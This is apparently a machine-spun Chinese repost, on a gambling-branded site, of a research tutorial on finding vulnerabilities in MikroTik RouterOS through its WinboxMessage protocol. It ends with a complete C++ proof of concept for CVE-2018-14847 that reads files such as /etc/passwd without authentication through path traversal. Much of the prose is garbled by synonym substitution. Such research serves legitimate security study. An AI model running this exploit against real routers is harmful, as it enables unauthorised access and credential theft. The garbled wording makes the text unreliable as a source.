安全问题:把手从MikroTik路由器上移开 | 申博官网
登录
  • 欢迎进入申博官网!
  • 如果您觉得申博官网对你有帮助,那么赶紧使用Ctrl+D 收藏申博官网并分享出去吧
  • 这里是申博官方网!
  • 申博官网是菲律宾sunbet官网品牌平台!
  • 申博开户专业品牌平台!

安全问题:把手从MikroTik路由器上移开

申博_安全防护 申博 245次浏览 已收录 0个评论

一、媒介

近来,我在Slack上收到了很多条私信,这些私信都配合指向统一条推文。

安全问题:把手从MikroTik路由器上移开

为何这与我有关呢?因为上周日,我在Derbycon上宣布了一次关于在MikroTik的RouterOS中寻觅破绽的演讲。

安全问题:把手从MikroTik路由器上移开

如今,Zerodium已为MikroTik破绽支付了6位数的嘉奖,我以为这是一个好机会,可以或许让我对RouterOS的破绽举行一次完整剖析。实在,任何时候都是研讨RouterOS破绽的好时机,因为这是一个风趣的目的。在本文的剖析历程当中,我发明了一个新的未受权破绽。相信你也可以或许找到一些破绽。

二、奠基基本

如今,想必列位读者已最先计划奖金要怎样分配了。然则,照样须要冷静下来,我们另有一部分预备事情要做。

2.1 猎取软件

最最先,人人实在没必要急于在淘宝上购置MikroTik路由器。因为MikroTik在其网站上就供应了RouterOS的ISO镜像。鄙人载ISO以后,可以或许运用VirtualBox或VMWare建立一台虚拟主机。

安全问题:把手从MikroTik路由器上移开

我们从ISO中,可以或许提取体系文件。

[email protected]:~/6.42.11$ 7z x mikrotik-6.42.11.iso
 
7-Zip [64] 9.20  Copyright (c) 1999-2010 Igor Pavlov  2010-11-18
p7zip Version 9.20 (locale=en_US.UTF-8,Utf16=on,HugeFiles=on,4 CPUs)
 
Processing archive: mikrotik-6.42.11.iso
 
Extracting  advanced-tools-6.42.11.npk
Extracting  calea-6.42.11.npk
Extracting  defpacks
Extracting  dhcp-6.42.11.npk
Extracting  dude-6.42.11.npk
Extracting  gps-6.42.11.npk
Extracting  hotspot-6.42.11.npk
Extracting  ipv6-6.42.11.npk
Extracting  isolinux
Extracting  isolinux/boot.cat
Extracting  isolinux/initrd.rgz
Extracting  isolinux/isolinux.bin
Extracting  isolinux/isolinux.cfg
Extracting  isolinux/linux
Extracting  isolinux/TRANS.TBL
Extracting  kvm-6.42.11.npk
Extracting  lcd-6.42.11.npk
Extracting  LICENSE.txt
Extracting  mpls-6.42.11.npk
Extracting  multicast-6.42.11.npk
Extracting  ntp-6.42.11.npk
Extracting  ppp-6.42.11.npk
Extracting  routing-6.42.11.npk
Extracting  security-6.42.11.npk
Extracting  system-6.42.11.npk
Extracting  TRANS.TBL
Extracting  ups-6.42.11.npk
Extracting  user-manager-6.42.11.npk
Extracting  wireless-6.42.11.npk
Extracting  [BOOT]/Bootable_NoEmulation.img
 
Everything is Ok
 
Folders: 1
Files: 29
Size:       26232176
Compressed: 26335232

MikroTik运用他们自定义的.npk花样封装了很多软件。有一个对象可以或许对它们完成解封装,但我照样越发倾向于运用binwalk。

[email protected]:~/6.42.11$ binwalk -e system-6.42.11.npk
 
DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------
0             0x0             NPK firmware header, image size: 15616295, image name: "system", description: ""
4096          0x1000          Squashfs filesystem, little endian, version 4.0, compression:xz, size: 9818075 bytes, 1340 inodes, blocksize: 262144 bytes, created: 2018-12-21 09:18:10
9822304       0x95E060        ELF, 32-bit LSB executable, Intel 80386, version 1 (SYSV)
9842177       0x962E01        Unix path: /sys/devices/system/cpu
9846974       0x9640BE        ELF, 32-bit LSB executable, Intel 80386, version 1 (SYSV)
9904147       0x972013        Unix path: /sys/devices/system/cpu
9928025       0x977D59        Copyright string: "Copyright 1995-2005 Mark Adler "
9928138       0x977DCA        CRC32 polynomial table, little endian
9932234       0x978DCA        CRC32 polynomial table, big endian
9958962       0x97F632        xz compressed data
12000822      0xB71E36        xz compressed data
12003148      0xB7274C        xz compressed data
12104110      0xB8B1AE        xz compressed data
13772462      0xD226AE        xz compressed data
13790464      0xD26D00        xz compressed data
15613512      0xEE3E48        xz compressed data
15616031      0xEE481F        Unix path: /var/pdb/system/crcbin/milo 3801732988
 
[email protected]:~/6.42.11$ ls -o ./_system-6.42.11.npk.extracted/squashfs-root/
total 64
drwxr-xr-x 2 albinolobster 4096 Dec 21 04:18 bin
drwxr-xr-x 2 albinolobster 4096 Dec 21 04:18 boot
drwxr-xr-x 2 albinolobster 4096 Dec 21 04:18 dev
lrwxrwxrwx 1 albinolobster   11 Dec 21 04:18 dude -> /flash/dude
drwxr-xr-x 3 albinolobster 4096 Dec 21 04:18 etc
drwxr-xr-x 2 albinolobster 4096 Dec 21 04:18 flash
drwxr-xr-x 3 albinolobster 4096 Dec 21 04:17 home
drwxr-xr-x 2 albinolobster 4096 Dec 21 04:18 initrd
drwxr-xr-x 4 albinolobster 4096 Dec 21 04:18 lib
drwxr-xr-x 5 albinolobster 4096 Dec 21 04:18 nova
drwxr-xr-x 3 albinolobster 4096 Dec 21 04:18 old
lrwxrwxrwx 1 albinolobster    9 Dec 21 04:18 pckg -> /ram/pckg
drwxr-xr-x 2 albinolobster 4096 Dec 21 04:18 proc
drwxr-xr-x 2 albinolobster 4096 Dec 21 04:18 ram
lrwxrwxrwx 1 albinolobster    9 Dec 21 04:18 rw -> /flash/rw
drwxr-xr-x 2 albinolobster 4096 Dec 21 04:18 sbin
drwxr-xr-x 2 albinolobster 4096 Dec 21 04:18 sys
lrwxrwxrwx 1 albinolobster    7 Dec 21 04:18 tmp -> /rw/tmp
drwxr-xr-x 3 albinolobster 4096 Dec 21 04:17 usr
drwxr-xr-x 5 albinolobster 4096 Dec 21 04:18 var
[email protected]:~/6.42.11$

2.2 翻开盒子

在寻觅破绽时,若是能接见目的的文件体系,那末会很有资助。若是可以或许在当地运转GDB等对象,那末效果也会不错。然则,RouterOS供应的Shell并非一般的Unix Shell。它只是RouterOS敕令的敕令行界面。

安全问题:把手从MikroTik路由器上移开

荣幸的是,我有一个解决方案可以或许应对这些题目。依据编写rc.d剧本的S12defconf体式格局,我们发明RouterOS将会实行存储在/rw/DEFCONF文件中的任何内容。

安全问题:把手从MikroTik路由器上移开

一般用户无法接见该文件,但考虑到虚拟机和Live CD的独特性,我们可以或许借助它来建立文件,并在个中插进去所须要的任何敕令。要正确形貌这一历程,能够太甚庞杂,因而我制作了一个视频,长度为5分钟摆布,记录了从虚拟机装置到完成Root Telnet接见的全历程。

经由过程Root Telnet接见,如今就可以或许完整掌握虚拟机。我们可以或许上传更多的对象、附加到历程、检察日记等。至此为止,我们就已预备好了,行将最先探究路由器的攻击面。

三、有人在听吗?

借助ps敕令,我们可以或许疾速肯定收集可以或许接见到的攻击面。

安全问题:把手从MikroTik路由器上移开

看起来,路由器会监听一些尽人皆知的端口(HTTP、FTP、Telnet和SSH),但一样也有一些不为人知的端口。端口2000上的btest是带宽测试效劳。端口8291上的mproxy是WinBox与之接口的效劳。WinBox是一个在Windows上运转的管理对象,它与Telnet、SSH和HTTP接口同享一切的功用。

安全问题:把手从MikroTik路由器上移开

四、真正的攻击面

运转ps敕令后,我们获得的输出效果不太乐观。看起来,彷佛只要几个二进制文件可以或许作为我们寻觅破绽的目的。但现实并非如此。HTTP效劳器和WinBox都运用了自定义的协定,我将其称为WinboxMessage,现实代码称之为nv::message。该协定指定应当将音讯通报到哪一个二进制文件上。现实上,若是装置了一切软件包,大约有90多种分歧的收集可以或许借助WinboxMessage协定接见二进制文件。

另有一种简朴的要领可以或许找出我们要寻觅破绽的二进制文件。可以或许在每一个包的/nova/etc/loader/*.x3文件中找到一个列表。x3是一个自定义文件花样,以是我写了一个剖析器。在运转后,输出效果较长,因而我做了一部分删减,删减后输出效果以下。

[email protected]:~/routeros/parse_x3/build$ ./x3_parse -f ~/6.42.11/_system-6.42.11.npk.extracted/squashfs-root/nova/etc/loader/system.x3
/nova/bin/log,3
/nova/bin/radius,5
/nova/bin/moduler,6
/nova/bin/user,13
/nova/bin/resolver,14
/nova/bin/mactel,15
/nova/bin/undo,17
/nova/bin/macping,18
/nova/bin/cerm,19
/nova/bin/cerm-worker,75
/nova/bin/net,20
...

x3文件还包罗每一个二进制文件的“SYS TO”标识符。这是WinboxMessage协定用于肯定应处置惩罚音讯地位的标识符。

五、对WinboxMessage的深入剖析

在清晰可以或许接触到哪些二进制文件以后,我们实在还要清晰怎样与它们举行通讯。在本章中,我将引见几个例子。

5.1 入门

如果我想和/nova/bin/undo举行对话,应当从那里最先?我们起首从一些代码最先讲起。我写了一些C++代码,它将完成一切WinboxMessage协定花样化和会话处置惩罚。我还建立了一个可以或许继承构建的顺序框架,列位读者可以或许继承完美。

std::string ip;
std::string port;
if (!parseCommandLine(p_argc, p_argv, ip, port))
{
    return EXIT_FAILURE;
}
 
Winbox_Session winboxSession(ip, port);
if (!winboxSession.connect())
{
    std::cerr << "Failed to connect to the remote host"
              << std::endl;
    return EXIT_FAILURE;
}
return EXIT_SUCCESS;

人人可以或许看到,Winbox_Session类卖力连接到路由器,另外它还卖力身份验证逻辑和发送和吸收音讯。

如今,从上面的输出中可以或许看出,/nova/bin/undo有一个SYS TO,标识符为17。为了完成undo,我们须要更新代码,以建立音讯,并设置相应的SYS TO标识符。

Winbox_Session winboxSession(ip, port);
if (!winboxSession.connect())
{
    std::cerr << "Failed to connect to the remote host"
              << std::endl;
    return EXIT_FAILURE;
}
 
WinboxMessage msg;
msg.set_to(17);

5.2 敕令与掌握

每条音讯还须要一个敕令。正如稍后我们看到的,每一个敕令都邑挪用特定的功用。一切处置惩罚顺序都运用一些内置的敕令(0xfe0000–0xfe00016)和一些具有独一完成的自定义敕令。

Pop /nova/bin/undo进入反汇编顺序,并找到nv::Looper::Looper组织函数的独一代码交织援用。

安全问题:把手从MikroTik路由器上移开

————————————-

申博网络安全巴士站

申博-网络安全巴士站是一个专注于网络安全、系统安全、互联网安全、信息安全,全新视界的互联网安全新媒体。

————————————-

依照我标记为undo_handler的偏移到vtable,可以或许看到以下内容。

安全问题:把手从MikroTik路由器上移开

这里是undo WinboxMessage处置惩罚的vtable。有一些函数直接对应我前面提到的内置敕令(比方:0xfe0001由nv::Handler::cmdGetPolicies卖力处置惩罚)。另外,我还凸起标记了未知的敕令功用,非内置敕令将在这里完成。

因为非内置敕令通常是最风趣的,以是我们将会跳转到cmdUnknown。我们可以或许看到,它会从基于敕令的跳转表最先。

安全问题:把手从MikroTik路由器上移开

看起来,敕令的编号从0x80001最先。轻微检察代码后,发明敕令0x80002好像有一个有效的字符串可以或许举行测试。那末,我们来看看是不是可以或许到达“无需redo”的代码途径。

安全问题:把手从MikroTik路由器上移开

我们须要更新框架代码,以要求敕令0x80002。我们还须要增加发送和吸收逻辑。

WinboxMessage msg;
msg.set_to(17);
msg.set_command(0x80002);
msg.set_request_id(1);
msg.set_reply_expected(true);
winboxSession.send(msg);
 
std::cout << "req: " << msg.serialize_to_json() << std::endl;
 
msg.reset();
if (!winboxSession.receive(msg))
{
    std::cerr << "Error receiving a response." << std::endl;
    return EXIT_FAILURE;
}
 
std::cout << "resp: " << msg.serialize_to_json() << std::endl;
    
if (msg.has_error())
{
    std::cerr << msg.get_error_string() << std::endl;
    return EXIT_FAILURE;
}
 
return EXIT_SUCCESS;

在编译并实行后,我们就获得了想要的“无需redo”。

[email protected]:~/routeros/poc/skeleton/build$ ./skeleton -i 10.0.0.104 -p 8291
req: {bff0005:1,uff0006:1,uff0007:524290,Uff0001:[17]}
resp: {uff0003:2,uff0004:2,uff0006:1,uff0008:16646150,sff0009:'nothing to redo',Uff0001:[],Uff0002:[17]}
nothing to redo
[email protected]:~/routeros/poc/skeleton/build$

5.3 突破口不止一个

在前面的示例中,我们检察了undo中的主处置惩罚顺序,该处置惩罚顺序可以或许简朴地剖析为17。然则,大多数二进制文件都有多个处置惩罚顺序。鄙人面的示例中,我们将要搜检/nova/bin/mproxy的第二个处置惩罚顺序。我异常喜好这个示例,因为这就是CVE-2018-14847的攻击面,而且这个示例有助于揭开这些新鲜二进制Blob的神奇面纱:

安全问题:把手从MikroTik路由器上移开

5.4 寻觅处置惩罚顺序

在IDA中翻开/nova/bin/mproxy,找到nv::Looper::addHandler导入。在6.42.11中,addHandler只要两段代码交织援用。在这里,很轻易辨认到我们感兴趣的处置惩罚顺序,也就是第二个处置惩罚顺序,因为在挪用addHandler之前,处置惩罚顺序标识符被压入栈中。

安全问题:把手从MikroTik路由器上移开

若是我们检察将nv::Handler*加载到edi中的地位,我们就会找到处置惩罚顺序的vtable的偏移量。这个构造看起来有些熟习:

安全问题:把手从MikroTik路由器上移开

在这里,我再次强调了未知的敕令功用。这一处置惩罚顺序的未知敕令函数支撑七个敕令:

1、翻开/var/pckg/中的文件以举行写入;

2、写入翻开的文件;

3、翻开/var/pckg/中的文件以举行读取;

4、读取翻开的文件;

5、作废文件传输;

6、在/var/pckg/中建立一个目次;

7、翻开/home/web/webfig/中的文件并举行读取。

个中,第4、5、7个敕令不须要举行身份验证。

5.5 翻开文件

我们实验运用敕令7,在/home/web/webfig/中翻开一个文件。这是exploit-db截图中FIRST_PAYLOAD运用的敕令。我们细致检察代码中对敕令7的处置惩罚,会发明它起首找到的是一个id为1的字符串。

安全问题:把手从MikroTik路由器上移开

字符串是我们要翻开的文件名。我们来看一下,/home/web/webfig中的哪一个文件对照风趣呢?

安全问题:把手从MikroTik路由器上移开

现实上,我们在这里看不出来。但在list中,包罗已装置的软件包和其版本号的列表。

我们将翻开的文件要求转换为WinboxMessage。返回到我们编写的代码,我们须要掩盖set_to和set_command代码,还须要插进去add_string。因而我又从新修改了代码。

Winbox_Session winboxSession(ip, port);
if (!winboxSession.connect())
{
    std::cerr << "Failed to connect to the remote host"
              << std::endl;
    return EXIT_FAILURE;
}
 
WinboxMessage msg;
msg.set_to(2,2); // mproxy, second handler
msg.set_command(7);
msg.add_string(1, "list"); // the file to open
msg.set_request_id(1);
msg.set_reply_expected(true);
winboxSession.send(msg);
 
std::cout << "req: " << msg.serialize_to_json() << std::endl;
 
msg.reset();
if (!winboxSession.receive(msg))
{
    std::cerr << "Error receiving a response." << std::endl;
    return EXIT_FAILURE;
}
 
std::cout << "resp: " << msg.serialize_to_json() << std::endl;

运转此代码后,我们应当可以或许看到以下内容:

[email protected]:~/routeros/poc/skeleton/build$ ./skeleton -i 10.0.0.104 -p 8291
req: {bff0005:1,uff0006:1,uff0007:7,s1:'list',Uff0001:[2,2]}
resp: {u2:1818,ufe0001:3,uff0003:2,uff0006:1,Uff0001:[],Uff0002:[2,2]}
[email protected]:~/routeros/poc/skeleton/build$

如今,应当可以或许看到效劳器的相应中包罗u2:1818。眼熟不?

安全问题:把手从MikroTik路由器上移开

因为运转须要较长时候,因而我把读取文件内容的这部分事情交给读者自行完成。在CVE-2018-14847的PoC中包罗了读者能够须要的一切提醒。

六、总结

至此,我们已细致申明了怎样猎取RouterOS软件并建立虚拟机,并展现了RouterOS的攻击面,并剖析怎样进入体系二进制文件。我分享了用于处置惩罚Winbox通讯的代码,并展现了细致的运用历程。若是列位读者还想深入研讨协定的细节,那末请浏览我的演讲内容。最少,我们如今晓得,MikroTik的安全性仍然是不容忽视的。

附录:CVE-2018-14847 PoC

#include <cstdlib>
#include <iostream>
#include <boost/cstdint.hpp>
#include <boost/program_options.hpp>
#include <boost/algorithm/string.hpp>
 
#include "winbox_session.hpp"
#include "winbox_message.hpp"
 
namespace
{
    const char s_version[] = "CVE-2018-14847 PoC Derbycon 2018 release";
 
    bool parseCommandLine(int p_argCount, const char* p_argArray[],
                          std::string& p_ip, std::string& p_port)
    {
        boost::program_options::options_description description("options");
        description.add_options()
            ("help,h", "A list of command line options")
            ("version,v", "Display version information")
            ("port,p", boost::program_options::value<std::string>(), "The port to connect to")
            ("ip,i", boost::program_options::value<std::string>(), "The ip to connect to");
 
        boost::program_options::variables_map argv_map;
        try
        {
            boost::program_options::store(
                boost::program_options::parse_command_line(
                    p_argCount, p_argArray, description), argv_map);
        }
        catch (const std::exception& e)
        {
            std::cerr << e.what() << std::endl;
            std::cerr << description << std::endl;
            return false;
        }
 
        boost::program_options::notify(argv_map);
        if (argv_map.empty() || argv_map.count("help"))
        {
            std::cerr << description << std::endl;
            return false;
        }
 
        if (argv_map.count("version"))
        {
            std::cerr << "Version: " << ::s_version << std::endl;
            return false;
        }
 
        if (argv_map.count("ip") && argv_map.count("port"))
        {
            p_ip.assign(argv_map["ip"].as<std::string>());
            p_port.assign(argv_map["port"].as<std::string>());
            return true;
        }
        else
        {
            std::cout << description << std::endl;
        }
 
        return false;
    }
}
 
int main(int p_argc, const char** p_argv)
{
    std::string ip;
    std::string port;
    if (!parseCommandLine(p_argc, p_argv, ip, port))
    {
        return EXIT_FAILURE;
    }
 
    Winbox_Session winboxSession(ip, port);
    if (!winboxSession.connect())
    {
        std::cerr << "Failed to connect to the remote host" << std::endl;
        return EXIT_FAILURE;
    }
 
    WinboxMessage msg;
    msg.set_to(2, 2);
    msg.set_command(7);
    msg.set_request_id(1);
    msg.set_reply_expected(true);
    msg.add_string(1, "//./.././.././../etc/passwd");
    winboxSession.send(msg);
 
    msg.reset();
    if (!winboxSession.receive(msg))
    {
        std::cerr << "Error receiving a response." << std::endl;
        return EXIT_FAILURE;
    }
 
    boost::uint32_t sessionID = msg.get_session_id();
    boost::uint16_t file_size = msg.get_u32(2);
    if (file_size == 0)
    {
        std::cout << "File size is 0" << std::endl;
        return EXIT_FAILURE;
    }
 
    msg.reset();
    msg.set_to(2, 2);
    msg.set_command(4);
    msg.set_request_id(2);
    msg.set_reply_expected(true);
    msg.set_session_id(sessionID);
    msg.add_u32(2, file_size);
    winboxSession.send(msg);
 
    msg.reset();
    if (!winboxSession.receive(msg))
    {
        std::cerr << "Error receiving a response." << std::endl;
        return EXIT_FAILURE;
    }
 
    std::string raw_payload(msg.get_raw(0x03));
    std::cout << std::endl << "=== File Contents (size: " << raw_payload.size() << ") ===" << std::endl;
 
    for (std::size_t i = 0; i < raw_payload.size(); i++)
    {
        std::cerr << raw_payload[i];
    }
    std::cerr << std::endl;
 
    return EXIT_SUCCESS;
}

申博|网络安全巴士站声明:该文看法仅代表作者自己,与本平台无关。版权所有丨如未注明 , 均为原创丨本网站采用BY-NC-SA协议进行授权
转载请注明安全问题:把手从MikroTik路由器上移开
喜欢 (0)
[]
分享 (0)
发表我的评论
取消评论
表情 贴图 加粗 删除线 居中 斜体 签到

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址